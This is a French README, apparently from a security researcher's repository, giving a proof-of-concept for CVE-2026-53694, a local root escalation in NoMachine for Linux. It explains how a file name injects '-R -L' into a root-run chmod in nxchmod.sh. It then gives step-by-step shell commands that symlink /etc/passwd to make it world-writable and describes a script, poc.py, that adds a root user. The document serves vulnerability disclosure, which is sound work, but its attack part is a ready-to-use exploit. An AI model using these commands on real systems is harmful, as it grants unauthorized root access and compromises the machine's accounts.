
Exploit de preuve de concept et rapport pour CVE-2026-53694, une élévation de privilèges locale dans NoMachine pour Linux via une injection d'arguments dans nxchmod.sh, permettant un accès root via la manipulation de liens symboliques.
Ce dépôt contient l'analyse et la preuve de concept (PoC) de CVE-2026-53694, une vulnérabilité d'élévation de privilèges locale (LPE) dans NoMachine pour Linux.
En raison d'une neutralisation incorrecte des délimiteurs d'arguments dans le script nxchmod.sh, un utilisateur local non privilégié peut injecter des arguments dans une commande système exécutée en tant que root. En combinant cette injection d'arguments avec un lien symbolique, un attaquant peut écraser des fichiers système critiques (tels que /etc/passwd) et élever ses privilèges jusqu'à root.
Cette vulnérabilité a été entièrement corrigée par l'éditeur.
La découverte de cette vulnérabilité a été un processus fait d'essais, d'erreurs et d'une révélation tard dans la nuit. Voici comment la découverte s'est déroulée :
/usr/NX/scripts/restricted/nxchmod.sh était exécuté périodiquement par l'utilisateur root pour gérer les permissions dans des répertoires spécifiques.chmod a+rw aux fichiers. J'ai pensé : Si je contrôle la destination, puis-je utiliser un lien symbolique pour rendre /etc/passwd accessible en écriture ? J'ai testé un lien symbolique standard (ln -s /etc/passwd /tmp/asdf), mais cela a échoué. Le sticky bit de Linux sur des répertoires comme /tmp empêche l'utilisateur root de suivre aveuglément un lien symbolique créé par un autre utilisateur.${COMMAND_CHMOD} ${MOD_STRING} ${FILE_PATH}. Le script prenait le nom de fichier littéral et le passait directement à chmod.X1234 -R -L. Lorsque le script s'est exécuté, la commande chmod a interprété cela comme des arguments plutôt que comme un seul chemin de fichier.-L (suivre les liens symboliques) et -R (récursif) dans la commande chmod via le nom de fichier, j'ai forcé le binaire chmod lui-même à résoudre et suivre le lien symbolique que j'avais créé dans le répertoire, contournant complètement la protection du sticky bit./etc/passwd rendu accessible en écriture (a+rw), je pouvais simplement ajouter un nouvel utilisateur root au fichier et faire su dessus.La vulnérabilité provient de la façon dont NoMachine gère les permissions pour les sockets X11/Wayland. Le script nxchmod.sh est lancé par le démon nxserver.bin s'exécutant en tant que root.
L'exécution vulnérable ressemble à ceci :
# /usr/NX/scripts/restricted/nxchmod.sh
${COMMAND_CHMOD} ${MOD_STRING} ${FILE_PATH}
Si un attaquant crée une structure de répertoire et un fichier nommé X1234 -R -L, la commande résultante exécutée par root devient :
/bin/chmod a+rw /tmp/.X11-unix/X1234 -R -L
Lorsqu'un lien symbolique pointant vers /etc/passwd est placé à l'intérieur du répertoire X1234, les arguments injectés -R et -L forcent chmod à suivre récursivement le lien symbolique et à accorder des permissions globales de lecture/écriture au fichier cible.
Pour que cet exploit fonctionne, le système cible doit remplir les conditions suivantes :
Vous pouvez reproduire cette vulnérabilité soit manuellement à l'aide de commandes shell, soit automatiquement à l'aide du script Python fourni.
Naviguez vers /tmp/.X11-unix/ et exécutez les commandes suivantes pour créer la structure de répertoire malveillante.
cd /tmp/.X11-unix/
# 1. Exploitation setup
touch "X1234 -R -L"
mkdir X1234
ln -s /etc/passwd /tmp/.X11-unix/X1234/pwn
# Wait for nxchmod.sh to execute (can take up to 60 seconds).
# Verify the permissions of /etc/passwd have changed to -rw-rw-rw-
# You can now edit /etc/passwd to add a root user.
Une fois que vous avez vérifié la vulnérabilité et élevé les privilèges, exécutez les commandes de nettoyage suivantes pour restaurer la stabilité du système et supprimer les artefacts :
# 2. Cleanup
rm "X1234 -R -L"
unlink X1234/pwn
rmdir X1234
chmod 644 /etc/passwd
Un exploit entièrement automatisé est fourni dans poc.py. Ce script vérifie les prérequis Wayland, met en place le lien symbolique, attend le cycle d'exécution de nxchmod.sh et injecte un nouvel utilisateur root (gg) dans /etc/passwd
Pour exécuter l'exploit :
python3 poc.py
Cette vulnérabilité a été corrigée par NoMachine. Les utilisateurs doivent mettre à jour vers les versions suivantes ou ultérieures :